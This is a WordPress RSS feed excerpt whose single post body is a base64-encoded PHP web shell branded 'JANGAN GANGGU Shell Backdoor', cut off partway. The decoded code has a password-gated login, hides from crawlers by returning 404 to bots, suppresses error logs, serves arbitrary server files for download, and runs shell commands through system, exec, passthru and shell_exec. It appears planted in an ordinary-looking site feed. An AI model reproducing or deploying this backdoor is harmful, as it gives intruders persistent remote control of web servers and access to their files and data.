kintil – popup https://popup.kudetalab.com popup Wed, 13 Nov 2024 12:22:49 +0000 en-US hourly 1 https://wordpress.org/?v=6.7.1 https://popup.kudetalab.com/wp-content/uploads/2020/11/Jane.png kintil – popup https://popup.kudetalab.com 32 32 https://popup.kudetalab.com/490-2/ Wed, 13 Nov 2024 12:22:49 +0000 https://popup.kudetalab.com/?p=490 “.base64_decode(“PD9waHANCi8qDQpbIFRhayBzZW11YSBrYW1pIG5nb3RhayBzZW5kaXJpIF0NClNwZWNpYWwgdGhhbmtzIGZvciBIb2xpcUBJbmRvc2VjDQpDb2xsYWJzIHRlYW0gSkFOR0FOIEdBTkdHVSBmdCBJbmRvc2VjIENvZGVyIFRlYW0NCiovDQpzZXNzaW9uX3N0YXJ0KCk7DQplcnJvcl9yZXBvcnRpbmcoMCk7DQpzZXRfdGltZV9saW1pdCgwKTsNCkBjbGVhcnN0YXRjYWNoZSgpOw0KQGluaV9zZXQoJ2Vycm9yX2xvZycsTlVMTCk7DQpAaW5pX3NldCgnbG9nX2Vycm9ycycsMCk7DQpAaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywwKTsNCkBpbmlfc2V0KCdvdXRwdXRfYnVmZmVyaW5nJywwKTsNCkBpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsIDApOw0KDQokcGFzc3dvcmQgCQkJPSAiOWUxZTU5NTNmOGE0ZWQ4NGFmODAyZDE5OTU2MDk2YmYiOw0KJGNvbG9yIAkJCQk9ICIjMDBmZjAwIjsNCiRkZWZhdWx0X2FjdGlvbiAJPSAnRmlsZXNNYW4nOw0KJGRlZmF1bHRfdXNlX2FqYXggCT0gdHJ1ZTsNCiRkZWZhdWx0X2NoYXJzZXQgCT0gJ1VURi04JzsNCg0KaWYoIWVtcHR5KCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkpIHsNCgkkdXNlckFnZW50cyA9IGFycmF5KCJHb29nbGVib3QiLCAiU2x1cnAiLCAiTVNOQm90IiwgIlB5Y1VSTCIsICJmYWNlYm9va2V4dGVybmFsaGl0IiwgImlhX2FyY2hpdmVyIiwgImNyYXdsZXIiLCAiWWFuZGV4IiwgIlJhbWJsZXIiLCAiWWFob28hIFNsdXJwIiwgIllhaG9vU2Vla2VyIiwgImJpbmdib3QiKTsNCglpZihwcmVnX21hdGNoKCcvJyAuIGltcGxvZGUoJ3wnLCAkdXNlckFnZW50cykgLiAnL2knLCAkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pKSB7DQoJCWhlYWRlcignSFRUUC8xLjAgNDA0IE5vdCBGb3VuZCcpOw0KCQlleGl0Ow0KCX0NCn0NCg0KZnVuY3Rpb24gbG9naW5fc2hlbGwoKSB7DQo/Pg0KPCFkb2N0eXBlIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQogIDxoZWFkPg0KICAgIDwhLS0gUmVxdWlyZWQgbWV0YSB0YWdzIC0tPg0KICAgIDxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4NCgkJPG1ldGEgbmFtZT0ndmlld3BvcnQnIGNvbnRlbnQ9J3dpZGh0PWRldmljZS13aWRodCwgaW5pdGlhbC1zY2FsZT0wLjc1Jz4NCgkJPGxpbmsgcmVsPSdpY29uJyB0eXBlPSdpbWFnZS9wbmcnIGhyZWY9J2h0dHBzOi8vYXZhdGFyczMuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvNTM0ODIxNjc/cz00NjAmdj00Jy8+DQoJCTxtZXRhIG5hbWU9J2F1dGhvcicgY29udGVudD0nQ29kZVhwbG9pdHxKQU5HQU4tT00nLz4NCgkJPG1ldGEgbmFtZT0nYXV0aG9yJyBjb250ZW50PSdIb2xpcUBJbmRvc2VjJy8+DQoJCTxtZXRhIG5hbWU9J2NvcHlyaWdodCcgY29udGVudD0nSkFOR0FOIEdBTkdHVScvPg0KCQk8bWV0YSBuYW1lPSdkZXNjcmlwdGlvbicgY29udGVudD0nSW11dHogU2hlbGwgQmFja2Rvb3InPg0KCQk8bWV0YSBuYW1lPSJ0aGVtZS1jb2xvciIgY29udGVudD0iIzAwMCI+DQoNCiAgICA8IS0tIEJvb3RzdHJhcCBDU1MgLS0+DQogICAgPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSJodHRwczovL3N0YWNrcGF0aC5ib290c3RyYXBjZG4uY29tL2Jvb3RzdHJhcC80LjEuMy9jc3MvYm9vdHN0cmFwLm1pbi5jc3MiIGludGVncml0eT0ic2hhMzg0LU1Ddzk4L1NGbkdFOGZKVDNHWHdFT25nc1Y3WnQyN05YRm9hb0FwbVltODFpdVhvUGtGT0p3SjhFUmRrbkxQTU8iIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vZm9udHMuZ29vZ2xlYXBpcy5jb20vY3NzP2ZhbWlseT1Sb2NrIFNhbHR8UmlnaHRlb3VzIiByZWw9InN0eWxlc2hlZXQiPg0KDQogICAgPHRpdGxlPkpBTkdBTiBHQU5HR1UgU2hlbGwgQmFja2Rvb3I8L3RpdGxlPg0KICAgIDxzdHlsZT4NCiAgICAJYm9keXsNCiAgICAJCWJhY2tncm91bmQtY29sb3I6YmxhY2s7DQogICAgCQl9DQogICAgCWltZ3sNCiAgICAJCXdpZHRoOiA0NTBweDsNCiAgICAJCWhlaWdodDogNDUwcHg7DQogICAgCX0NCiAgICAJaW5wdXRbdHlwZT0icGFzc3dvcmQiXXsNCiAgICAJCWJhY2tncm91bmQtY29sb3I6IHRyYW5zcGFyZW50Ow0KICAgIAl9DQogICAgCWgyew0KICAgIAkJZm9udC1mYW1pbHk6IlJvY2sgU2FsdCI7DQogICAgCX0NCiAgICA8L3N0eWxlPg0KICA8L2hlYWQ+DQogIDxib2R5IGNsYXNzPSJ0ZXh0LXdoaXRlIj4NCiAgICA8ZGl2IGNsYXNzPSJwLTMiPg0KICAgIAk8aDIgY2xhc3M9InRleHQtY2VudGVyIj5KQU5HQU4gR0FOR0dVPC9oMj48aHI+DQogICAgCTxpbWcgc3JjPSJodHRwczovL2Nkbi5waXhhYmF5LmNvbS9waG90by8yMDIzLzEwLzAzLzEwLzM4L2Fub255bW91cy04MjkxMTg4Xzk2MF83MjAucG5nIiBjbGFzcz0ibXgtYXV0byBkLWJsb2NrIj48aHI+DQogICAgCQk8Zm9ybSBtZXRob2Q9InBvc3QiPg0KICAgIAk8ZGl2IGNsYXNzPSJyb3ciPg0KICAgIAkJPGRpdiBjbGFzcz0iY29sIj4NCiAgICAJCQk8aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9InBhc3MiIGNsYXNzPSJmb3JtLWNvbnRyb2wiPg0KICAgIAkJPC9kaXY+DQogICAgCQk8ZGl2IGNsYXNzPSJjb2wiPg0KICAgIAkJCTxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLWJsb2NrIiB2YWx1ZT0iTG9naW4iPg0KICAgIAkJPC9kaXY+DQogICAgCTwvZGl2PjwvZm9ybT4NCiAgICAJPGhyPg0KICAgIAk8Y2VudGVyPg0KICAgIAkJPHNtYWxsPkNvcHlyaWdodCAmY29weTsgPGEgaHJlZj0iIyI+SkFOR0FOIEdBTkdHVTwvYT48L3NtYWxsPg0KICAgIAk8L2NlbnRlcj4NCiAgICA8L2Rpdj4NCg0KICAgIDwhLS0gT3B0aW9uYWwgSmF2YVNjcmlwdCAtLT4NCiAgICA8IS0tIGpRdWVyeSBmaXJzdCwgdGhlbiBQb3BwZXIuanMsIHRoZW4gQm9vdHN0cmFwIEpTIC0tPg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2NvZGUuanF1ZXJ5LmNvbS9qcXVlcnktMy4zLjEuc2xpbS5taW4uanMiIGludGVncml0eT0ic2hhMzg0LXE4aS9YKzk2NUR6TzByVDdhYks0MUpTdFFJQXFWZ1JWenBiem81c21YS3A0WWZSdkgrOGFidFRFMVBpNmppem8iIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiPjwvc2NyaXB0Pg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2NkbmpzLmNsb3VkZmxhcmUuY29tL2FqYXgvbGlicy9wb3BwZXIuanMvMS4xNC4zL3VtZC9wb3BwZXIubWluLmpzIiBpbnRlZ3JpdHk9InNoYTM4NC1aTVA3clZvM21JeWtWKzIrOUozVUo0NmpCazBXTGFVQWRuNjg5YUN3b3FiQkppU25qQUsvbDhXdkNXUElQbTQ5IiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj48L3NjcmlwdD4NCiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9zdGFja3BhdGguYm9vdHN0cmFwY2RuLmNvbS9ib290c3RyYXAvNC4xLjMvanMvYm9vdHN0cmFwLm1pbi5qcyIgaW50ZWdyaXR5PSJzaGEzODQtQ2hmcXF4dVpVQ25KU0szK01YbVBOSXlFNlpiV2gySU1xRTI0MXJZaXFKeHlNaVo2T1cvSm1aUTVzdHdFVUxUeSIgY3Jvc3NvcmlnaW49ImFub255bW91cyI+PC9zY3JpcHQ+DQogIDwvYm9keT4NCjwvaHRtbD4NCjw/cGhwDQpleGl0Ow0KfQ0KaWYoIWlzc2V0KCRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKV0pKQ0KaWYoIGVtcHR5KCRwYXNzd29yZCkgfHwgKCBpc3NldCgkX1BPU1RbJ3Bhc3MnXSkgJiYgKG1kNSgkX1BPU1RbJ3Bhc3MnXSkgPT0gJHBhc3N3b3JkKSApICkNCgkkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSldID0gdHJ1ZTsNCmVsc2UNCmxvZ2luX3NoZWxsKCk7DQppZihpc3NldCgkX0dFVFsnZmlsZSddKSAmJiAoJF9HRVRbJ2ZpbGUnXSAhPSAnJykgJiYgKCRfR0VUWydhY3QnXSA9PSAnZG93bmxvYWQnKSkgew0KCUBvYl9jbGVhbigpOw0KCSRmaWxlID0gJF9HRVRbJ2ZpbGUnXTsNCgloZWFkZXIoJ0NvbnRlbnQtRGVzY3JpcHRpb246IEZpbGUgVHJhbnNmZXInKTsNCgloZWFkZXIoJ0NvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJyk7DQoJaGVhZGVyKCdDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0iJy5iYXNlbmFtZSgkZmlsZSkuJyInKTsNCgloZWFkZXIoJ0V4cGlyZXM6IDAnKTsNCgloZWFkZXIoJ0NhY2hlLUNvbnRyb2w6IG11c3QtcmV2YWxpZGF0ZScpOw0KCWhlYWRlcignUHJhZ21hOiBwdWJsaWMnKTsNCgloZWFkZXIoJ0NvbnRlbnQtTGVuZ3RoOiAnIC4gZmlsZXNpemUoJGZpbGUpKTsNCglyZWFkZmlsZSgkZmlsZSk7DQoJZXhpdDsNCn0NCj8+DQo8P3BocA0KCWZ1bmN0aW9uIHcoJGRpciwkcGVybSkgew0KCQlpZighaXNfd3JpdGFibGUoJGRpcikpIHsNCgkJCXJldHVybiAiPGZvbnQgY29sb3I9cmVkPiIuJHBlcm0uIjwvZm9udD4iOw0KCQl9IGVsc2Ugew0KCQkJcmV0dXJuICI8Zm9udCBjb2xvcj1saW1lPiIuJHBlcm0uIjwvZm9udD4iOw0KCQl9DQoJfQ0KCWZ1bmN0aW9uIHIoJGRpciwkcGVybSkgew0KCQlpZighaXNfcmVhZGFibGUoJGRpcikpIHsNCgkJCXJldHVybiAiPGZvbnQgY29sb3I9cmVkPiIuJHBlcm0uIjwvZm9udD4iOw0KCQl9IGVsc2Ugew0KCQkJcmV0dXJuICI8Zm9udCBjb2xvcj1saW1lPiIuJHBlcm0uIjwvZm9udD4iOw0KCQl9DQoJfQ0KDQoJZnVuY3Rpb24gZXhlKCRjbWQpIHsNCgkJaWYoZnVuY3Rpb25fZXhpc3RzKCdzeXN0ZW0nKSkgew0KCQkJQG9iX3N0YXJ0KCk7DQoJCQlAc3lzdGVtKCRjbWQpOw0KCQkJJGJ1ZmYgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7DQoJCQlAb2JfZW5kX2NsZWFuKCk7DQoJCQlyZXR1cm4gJGJ1ZmY7DQoJCX0gZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpKSB7DQoJCQlAZXhlYygkY21kLCRyZXN1bHRzKTsNCgkJCSRidWZmID0gIiI7DQoJCQlmb3JlYWNoKCRyZXN1bHRzIGFzICRyZXN1bHQpIHsNCgkJCQkkYnVmZiAuPSAkcmVzdWx0Ow0KCQkJfSByZXR1cm4gJGJ1ZmY7DQoJCX0gZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygncGFzc3RocnUnKSkgew0KCQkJQG9iX3N0YXJ0KCk7DQoJCQlAcGFzc3RocnUoJGNtZCk7DQoJCQkkYnVmZiA9IEBvYl9nZXRfY29udGVudHMoKTsNCgkJCUBvYl9lbmRfY2xlYW4oKTsNCgkJCXJldHVybiAkYnVmZjsNCgkJfSBlbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdzaGVsbF9leGVjJykpIHsNCgkJCSRidWZmID0gQHNoZWxsX2V4ZWMoJGNtZCk7DQoJCQlyZXR1cm4gJGJ1ZmY7DQoJCX0NCgl9DQoJDQoJZnVuY3Rpb24gcGVybXMoJGZpbGUpew0KCQkkcGVybXMgPSBmaWxlcGVybXMoJGZpbGUpOw0KCQ0KCQlpZiAoKCRwZXJtcyAmIDB4QzAwMCkgPT0gMHhDMDAwKSB7DQoJCQkvLyBTb2NrZXQNCgkJCSRpbmZvID0gJ3MnOw0KCQl9IGVsc2VpZiAoKCRwZXJtcyAmIDB4QTAwMCkgPT0gMHhBMDAwKSB7DQoJCQkvLyBTeW1ib2xpYyBMaW5rDQoJCQkkaW5mbyA9ICdsJzsNCgkJfSBlbHNlaWYgKCgkcGVybXMgJiAweDgwMDApID09IDB4ODAwMCkgew0KCQkJLy8gUmVndWxhcg0KCQkJJGluZm8gPSAnLSc7DQoJCX0gZWxzZWlmICgoJHBlcm1zICYgMHg2MDAwKSA9PSAweDYwMDApIHsNCgkJCS8vIEJsb2NrIHNwZWNpYWwNCgkJCSRpbmZvID0gJ2InOw0KCQl9IGVsc2VpZiAoKCRwZXJtcyAmIDB4NDAwMCkgPT0gMHg0MDAwKSB7DQoJCQkvLyBEaXJlY3RvcnkNCgkJCSRpbmZvID0gJ2QnOw0KCQl9IGVsc2VpZiAoKCRwZXJtcyAmIDB4MjAwMCkgPT0gMHgyMDAwKSB7DQoJCQkvLyBDaGFyYWN0ZXIgc3BlY2lhbA0KCQkJJGluZm8gPSAnYyc7DQoJCX0gZWxzZWlmICgoJHBlcm1zICYgMHgxMDAwKSA9PSAweDEwMDApIHsNCgkJCS8vIEZJRk8gcGlwZQ0KCQkJJGluZm8gPSAncCc7DQoJCX0gZWxzZSB7DQoJCQkvLyBVbmtub3duDQoJCQkkaW5mbyA9ICd1JzsNCgkJfQ0KCQ0KCQkvLyBPd25lcg0KCQkkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDEwMCkgPyAncicgOiAnLScpOw0KCQkkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA4MCkgPyAndycgOiAnLScpOw0KCQkkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA0MCkgPw0KCQkoKCRwZXJtcyAmIDB4MDgwMCkgPyAncycgOiAneCcgKSA6DQoJCSgoJHBlcm1zICYgMHgwODAwKSA/ICdTJyA6ICctJykpOw0KCQkvLyBHcm91cA0KCQkkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAyMCkgPyAncicgOiAnLScpOw0KCQkkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAxMCkgPyAndycgOiAnLScpOw0KCQkkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwOCkgPw0KCQkoKCRwZXJtcyAmIDB4MDQwMCkgPyAncycgOiAneCcgKSA6DQoJCSgoJHBlcm1zICYgMHgwNDAwKSA/ICdTJyA6ICctJykpOw0KCQkNCgkJLy8gV29ybGQNCgkJJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDQpID8gJ3InIDogJy0nKTsNCgkJJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDIpID8gJ3cnIDogJy0nKTsNCgkJJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDEpID8NCgkJKCgkcGVybXMgJiAweDAyMDApID8gJ3QnIDogJ3gnICkgOg0KCQkoKCRwZXJtcyAmIDB4MDIwMCkgPyAnVCcgOiAnLScpKTsNCg0KCQlyZXR1cm4gJGluZm87DQoJfQ0KCQ0KCQ0KCWlmKGlzc2V0KCRfR0VUWydwYXRoJ10pKXsNCgkJJHBhdGggPSAkX0dFVFsncGF0aCddOw0KCQljaGRpcigkcGF0aCk7DQoJfWVsc2V7DQoJCSRwYXRoID0gZ2V0Y3dkKCk7DQoJfQ0KCSRwYXRoID0gc3RyX3JlcGxhY2UoJ1xcJywnLycsJHBhdGgpOw0KCSRwYXRocyA9IGV4cGxvZGUoJy8nLCRwYXRoKTsNCglpZihpc3NldCgkX0dFVFsnZGlyJ10pKSB7DQoJCSRkaXIgPSAkX0dFVFsnZGlyJ107DQoJCWNoZGlyKCRkaXIpOw0KCX0gZWxzZSB7DQoJCSRkaXIgPSBnZXRjd2QoKTsNCgl9DQoJJGtlcm5lbCA9IHBocF91bmFtZSgpOw0KCSRpcCA9IGdldEhvc3RCeU5hbWUoZ2V0SG9zdE5hbWUoKSk7DQoJJHZlciA9IHBocHZlcnNpb24oKTsNCgkkZG9tID0gJF9TRVJWRVJbJ0hUVFBfSE9TVCddOw0KCSRkaXIgPSBzdHJfcmVwbGFjZSgiXFwiLCIvIiwkZGlyKTsNCgkkc2NkaXIgPSBleHBsb2RlKCIvIiwgJGRpcik7DQoJJHNtID0gKEBpbmlfZ2V0KHN0cnRvbG93ZXIoInNhZmVfbW9kZSIpKSA9PSAnb24nKSA/ICJPbiIgOiAiT2ZmIjsNCgkkZHMgPSBAaW5pX2dldCgiZGlzYWJsZV9mdW5jdGlvbnMiKTsNCgkkbXlzcWwgPSAoZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9jb25uZWN0JykpID8gIjxmb250IGNvbG9yPWJsYWNrPk9uPC9mb250PiIgOiAiPGZvbnQgY29sb3I9cmVkPk9mZjwvZm9udD4iOw0KCSRjdXJsID0gKGZ1bmN0aW9uX2V4aXN0cygnY3VybF92ZXJzaW9uJykpID8gIjxmb250IGNvbG9yPWJsYWNrPk9uPC9mb250PiIgOiAiPGZvbnQgY29sb3I9cmVkPk9mZjwvZm9udD4iOw0KCSR3Z2V0ID0gKGV4ZSgnd2dldCAtLWhlbHAnKSkgPyAiPGZvbnQgY29sb3I9YmxhY2s+T248L2ZvbnQ+IiA6ICI8Zm9udCBjb2xvcj1yZWQ+T2ZmPC9mb250PiI7DQoJJHBlcmwgPSAoZXhlKCdwZXJsIC0taGVscCcpKSA/ICI8Zm9udCBjb2xvcj1ibGFjaz5PbjwvZm9udD4iIDogIjxmb250IGNvbG9yPXJlZD5PZmY8L2ZvbnQ+IjsNCgkkcHl0aG9uID0gKGV4ZSgncHl0aG9uIC0taGVscCcpKSA/ICI8Zm9udCBjb2xvcj1ibGFjaz5PbjwvZm9udD4iIDogIjxmb250IGNvbG9yPXJlZD5PZmY8L2ZvbnQ+IjsNCgkkc2hvd19kcyA9ICghZW1wdHkoJGRzKSkgPyAiJGRzIiA6ICJOT05FIjsNCgkkdG90YWwgPSBmb3JtYXRTaXplKGRpc2tfdG90YWxfc3BhY2UoJHBhdGgpKTsNCgkkZnJlZSA9IGZvcm1hdFNpemUoZGlza19mcmVlX3NwYWNlKCRwYXRoKSk7DQoJJHRvdGFsMSA9IGRpc2tfdG90YWxfc3BhY2UoJHBhdGgpOw0KCSRmcmVlMSA9IGRpc2tfZnJlZV9zcGFjZSgkcGF0aCk7DQoJJHVzZWQgPSBmb3JtYXRTaXplKCR0b3RhbDEgLSAkZnJlZTEpOw0KCWZ1bmN0aW9uIGZvcm1hdFNpemUoICRieXRlcyApIHsNCgkJJHR5cGVzID0gYXJyYXkoICdCJywgJ0tCJywgJ01CJywgJ0dCJywgJ1RCJyApOw0KCQlmb3IoICRpID0gMDsgJGJ5dGVzID49IDEwMjQgJiYgJGkgPCAoIGNvdW50KCAkdHlwZXMgKSAtMSApOyAkYnl0ZXMgLz0gMTAyNCwgJGkrKyApOw0KCQlyZXR1cm4oIHJvdW5kKCAkYnl0ZXMsIDIgKSAuICIgIiAuICR0eXBlc1skaV0gKTsNCgl9DQoJDQoJZnVuY3Rpb24gYW1iaWxLYXRhKCRwYXJhbSwgJGthdGExLCAka2F0YTIpew0KCQlpZihzdHJwb3MoJHBhcmFtLCAka2F0YTEpID09PSBGQUxTRSkgcmV0dXJuIEZBTFNFOw0KCQlpZihzdHJwb3MoJHBhcmFtLCAka2F0YTIpID09PSBGQUxTRSkgcmV0dXJuIEZBTFNFOw0KCQkkc3RhcnQgPSBzdHJwb3MoJHBhcmFtLCAka2F0YTEpICsgc3RybGVuKCRrYXRhMSk7DQoJCSRlbmQgPSBzdHJwb3MoJHBhcmFtLCAka2F0YTIsICRzdGFydCk7DQoJCSRyZXR1cm4gPSBzdWJzdHIoJHBhcmFtLCAkc3RhcnQsICRlbmQgLSAkc3RhcnQpOw0KCQlyZXR1cm4gJHJldHVybjsNCgl9DQoJDQplY2hvICINCjxodG1sPg0KCTx0aXRsZT5KQU5HQU4gR0FOR0dVIFNoZWxsIEJhY2tkb29yPC90aXRsZT4NCgk8aGVhZD4NCgkJPG1ldGEgbmFtZT0ndmlld3BvcnQnIGNvbnRlbnQ9J3dpZGh0PWRldmljZS13aWRodCwgaW5pdGlhbC1zY2FsZT0wLjc1Jz4NCgkJPGxpbmsgcmVsPSdpY29uJyB0eXBlPSdpbWFnZS9wbmcnIGhyZWY9J2h0dHBzOi8vYXZhdGFyczMuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvNTM0ODIxNjc/cz00NjAmdj00Jy8+DQoJCTxtZXRhIG5hbWU9J2F1dGhvcicgY29udGVudD0nQ29kZVhwbG9pdCtIb2xpcScvPg0KCQk8bWV0YSBuYW1lPSdjb3B5cmlnaHQnIGNvbnRlbnQ9J0pBTkdBTiBHQU5HR1UnLz4NCgkJPG1ldGEgbmFtZT0nZGVzY3JpcHRpb24nIGNvbnRlbnQ9J0ltdXR6IFNoZWxsIEJhY2tkb29yJz4NCiAgICAgICAgICAgICAgICA8bWV0YSBuYW1lPSd0aGVtZS1jb2xvcicgY29udGVudD0nIzAwMCc+DQoJCTxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaHJlZj0naHR0cHM6Ly9zdGFja3BhdGguYm9vdHN0cmFwY2RuLmNvbS9ib290c3RyYXAvNC4zLjAvY3NzL2Jvb3RzdHJhcC5taW4uY3NzJz4NCgkJPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBocmVmPSdodHRwczovL3VzZS5mb250YXdlc29tZS5jb20vcmVsZWFzZXMvdjUuNy4yL2Nzcy9hbGwuY3NzJyA+DQoJCTxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaHJlZj0naHR0cHM6Ly9jZG5qcy5jbG91ZGZsYXJlLmNvbS9hamF4L2xpYnMvZm9udC1hd2Vzb21lLzQuNy4wL2Nzcy9mb250LWF3ZXNvbWUubWluLmNzcyc+DQoJCTxzY3JpcHQgc3JjPSdodHRwczovL2NvZGUuanF1ZXJ5LmNvbS9qcXVlcnktMy4zLjEuanMnPjwvc2NyaXB0Pg0KCQk8c2NyaXB0IHNyYz0naHR0cHM6Ly9zdGFja3BhdGguYm9vdHN0cmFwY2RuLmNvbS9ib290c3RyYXAvNC4xLjAvanMvYm9vdHN0cmFwLm1pbi5qcyc+PC9zY3JpcHQ+DQoJCTxsaW5rIGhyZWY9J2h0dHA6Ly9mb250cy5nb29nbGVhcGlzLmNvbS9jc3M/ZmFtaWx5PVF1aWNrc2FuZCcgcmVsPSdzdHlsZXNoZWV0JyB0eXBlPSd0ZXh0L2Nzcyc+DQoJPC9oZWFkPg0KCTxib2R5IGNsYXNzPSd0ZXh0LWxpZ2h0Jz4NCgkJPHNjcmlwdD4NCgkJCSQoZG9jdW1lbnQpLnJlYWR5KGZ1bmN0aW9uKCl7DQoJCQkJJCh3aW5kb3cpLnNjcm9sbChmdW5jdGlvbigpew0KCQkJCQlpZiAoJCh0aGlzKS5zY3JvbGxUb3AoKSA+IDcwMCkgew0KCQkJCQkJJCgnLnNjcm9sbFRvVG9wJykuZmFkZUluKCk7DQoJCQkJCX1lbHNlew0KCQkJCQkJJCgnLnNjcm9sbFRvVG9wJykuZmFkZU91dCgpOw0KCQkJCQl9DQoJCQkJfSk7DQoJCQkJJCgnLnNjcm9sbFRvVG9wJykuY2xpY2soZnVuY3Rpb24oKXsNCgkJCQkJJCgnaHRtbCwgYm9keScpLmFuaW1hdGUoe3Njcm9sbFRvcCA6IDB9LDEwMDApOw0KCQkJCQlyZXR1cm4gZmFsc2U7DQoJCQkJfSk7DQoJCQl9KTsNCgkJPC9zY3JpcHQ+DQoJCTxzdHlsZT4NCgkJYm9keXtiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrO30NCgkJCUBpbXBvcnQgdXJsKGh0dHBzOi8vZm9udHMuZ29vZ2xlYXBpcy5jb20vY3NzP2ZhbWlseT1MYXRvKTsNCgkJCWJvZHl7bWFyZ2luOjA7cGFkZGluZzowO2ZvbnQtZmFtaWx5OidMYXRvJzt9DQoJCQkjdGFiIHRhYmxlIHRoZWFkIHRoe3BhZGRpbmc6NXB4O2ZvbnQtc2l6ZToxNnB4O30NCgkJCSN0YWIgdHIge2JvcmRlci1ib3R0b206MXB4IHNvbGlkICNmZmY7fQ0KCQkJI3RhYiB0cjpob3ZlcntiYWNrZ3JvdW5kOiM1QjZGN0Q7IGNvbG9yOiNmZmY7fQ0KCQkJI3RhYiB0ciB0ZHtwYWRkaW5nOjVweDt9DQoJCQkjdGFiIHRyIHRkIC5iYWRnZXtmb250LXNpemU6MTNweDt9DQoJCQlhIHtmb250LWZhbWlseTonUXVpY2tzYW5kJztjb2xvcjp3aGl0ZTt9DQoJCQlhOmhvdmVye2NvbG9yOmRvZGdlckJsdWU7fQ0KCQkJLmljbyB7d2lkdGg6MjBweDt9DQoJCQkuaWNvMnt3aWR0aDoyMHB4O30NCgkJCS5zY3JvbGxUb1RvcHsNCgkJCQlwb3NpdGlvbjpmaXhlZDsNCgkJCQlib3R0b206MzBweDsNCgkJCQlyaWdodDozMHB4Ow0KCQkJCXdpZHRoOjM1cHg7DQoJCQkJaGVpZ2h0OjM1cHg7DQoJCQkJYmFja2dyb3VuZDojMjYyNjI2Ow0KCQkJCWNvbG9yOiNmZmY7DQoJCQkJYm9yZGVyLXJhZGl1czoxNSU7DQoJCQkJdGV4dC1hbGlnbjpjZW50ZXI7DQoJCQkJb3BhY2l0eTouNTsNCgkJCX0NCgkJCS5zY3JvbGxUb1RvcDpob3Zlcntjb2xvcjojZmZmO30NCgkJCS51cHtmb250LXNpemU6MjBweDtsaW5lLWhlaWdodDozNXB4O30NCgkJCS5sYWlue2NvbG9yOiM4ODg4ODg7Zm9udC1zaXplOjIwcHg7bWFyZ2luLWxlZnQ6NXB4O3RvcDoxcHg7fQ0KCQkJLmxhaW46aG92ZXJ7Y29sb3I6I2ZmZjt9DQoJCQkudGFtYmFoew0KCQkJCXdpZHRoOjM1cHg7DQoJCQkJaGVpZ2h0OjM1cHg7DQoJCQkJbGluZS1oZWlnaHQ6MzVweDsNCgkJCQlib3JkZXI6MXB4IHNvbGlkOw0KCQkJCWJvcmRlci1yYWRpdXM6NTAlOw0KCQkJCXRleHQtYWxpZ246Y2VudGVyOw0KCQkJfQ0KCQkJLmZpdHVyZXttYXJnaW46MnB4O30NCgkJCS50bXB7YmFja2dyb3VuZDojRjRGNEY0O2NvbG9yOnJnYigxNTMsMTUzLDE1Myk7fQ0KCQkJLnRtcCB0ciB0ZHtib3JkZXI6c29saWQgMXB4ICNCQkJCQkI7dGV4dC1hbGlnbjpjZW50ZXI7Zm9udC1zaXplOjEzcHg7fQ0KCQkJLmFib3V0e2NvbG9yOiMwMDA7fQ0KCQkJLmFib3V0IC5jYXJkLWJvZHkgLmltZ3sNCgkJCQlwb3NpdGlvbjogcmVsYXRpdmU7DQoJCQkJYmFja2dyb3VuZDogdXJsKGh0dHBzOi8vaS5wb3N0aW1nLmNjL1diMVg0eE5TL2ltYWdlLnBuZyk7DQoJCQkJYmFja2dyb3VuZC1zaXplOiBjb3ZlcjsNCgkJCQl3aWR0aDogMTUwcHg7DQoJCQkJaGVpZ2h0OiAxNTBweDsNCgkJCX0NCgkJCS5idXRuIHsNCgkJCQlwb3NpdGlvbjogcmVsYXRpdmU7DQoJCQkJdGV4dC1hbGlnbjogY2VudGVyOw0KCQkJCXBhZGRpbmc6IDNweDsNCgkJCQliYWNrZ3JvdW5kOnJnYmEoMjI1LDIyNSwyMjUsLjMpOw0KCQkJCS13ZWJraXQtdHJhbnNpdGlvbjogYmFja2dyb3VuZCAzMDBtcyBlYXNlLCBjb2xvciAzMDBtcyBlYXNlOw0KCQkJCXRyYW5zaXRpb246IGJhY2tncm91bmQgMzAwbXMgZWFzZSwgY29sb3IgMzAwbXMgZWFzZTsNCgkJCX0NCgkJCWlucHV0W3R5cGU9J3JhZGlvJ10udG9nZ2xlIHsNCgkJCQlkaXNwbG